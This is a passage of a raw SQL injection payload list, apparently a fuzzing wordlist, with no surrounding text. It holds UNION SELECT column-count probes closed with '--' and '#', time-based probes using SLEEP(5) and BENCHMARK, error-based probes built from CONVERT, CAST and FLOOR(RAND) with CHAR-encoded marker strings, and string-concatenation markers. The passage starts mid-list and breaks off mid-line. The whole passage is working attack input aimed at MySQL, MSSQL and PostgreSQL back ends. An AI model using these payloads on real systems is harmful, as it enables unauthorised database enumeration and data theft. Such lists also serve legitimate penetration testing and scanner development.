1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30# UNION ALL SELECT 1-- UNION ALL SELECT 1,2-- UNION ALL SELECT 1,2,3-- UNION ALL SELECT 1,2,3,4-- UNION ALL SELECT 1,2,3,4,5-- UNION ALL SELECT 1,2,3,4,5,6-- UNION ALL SELECT 1,2,3,4,5,6,7-- UNION ALL SELECT 1,2,3,4,5,6,7,8-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30-- UNION SELECT @@VERSION,SLEEP(5),3 UNION SELECT @@VERSION,SLEEP(5),USER(),4 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 UNION SELECT @@VERSION,SLEEP(5),"'3 UNION SELECT @@VERSION,SLEEP(5),"'3'"# UNION SELECT @@VERSION,SLEEP(5),USER(),4# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30# UNION ALL SELECT USER()-- UNION ALL SELECT SLEEP(5)-- UNION ALL SELECT USER(),SLEEP(5)-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5)-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A'))-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT NULL-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))-- UNION ALL SELECT NULL# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))# UNION ALL SELECT NULL AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113))) AND 5650=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (5650=5650) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113))) AND 3516=CAST((CHR(113)||CHR(106)||CHR(122)||CHR(106)||CHR(113))||(SELECT (CASE WHEN (3516=3516) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(106)||CHR(107)||CHR(113)) AS NUMERIC) AND (SELECT 4523 FROM(SELECT COUNT(*),CONCAT(0x716a7a6a71,(SELECT (ELT(4523=4523,1))),0x71706a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) UNION ALL SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(106)+CHAR(113)+CHAR(110)+CHAR(106)+CHAR(99)+CHAR(73)+CHAR(66)+CHAR(109)+CHAR(119)+CHAR(81)+CHAR(108)+CHAR(88)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113),NULL-- UNION ALL SELECT 'INJ'||'ECT'||'XXX' UNION ALL SELECT 'INJ'||'ECT'||'XXX',2 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5 UNION ALL SELECT 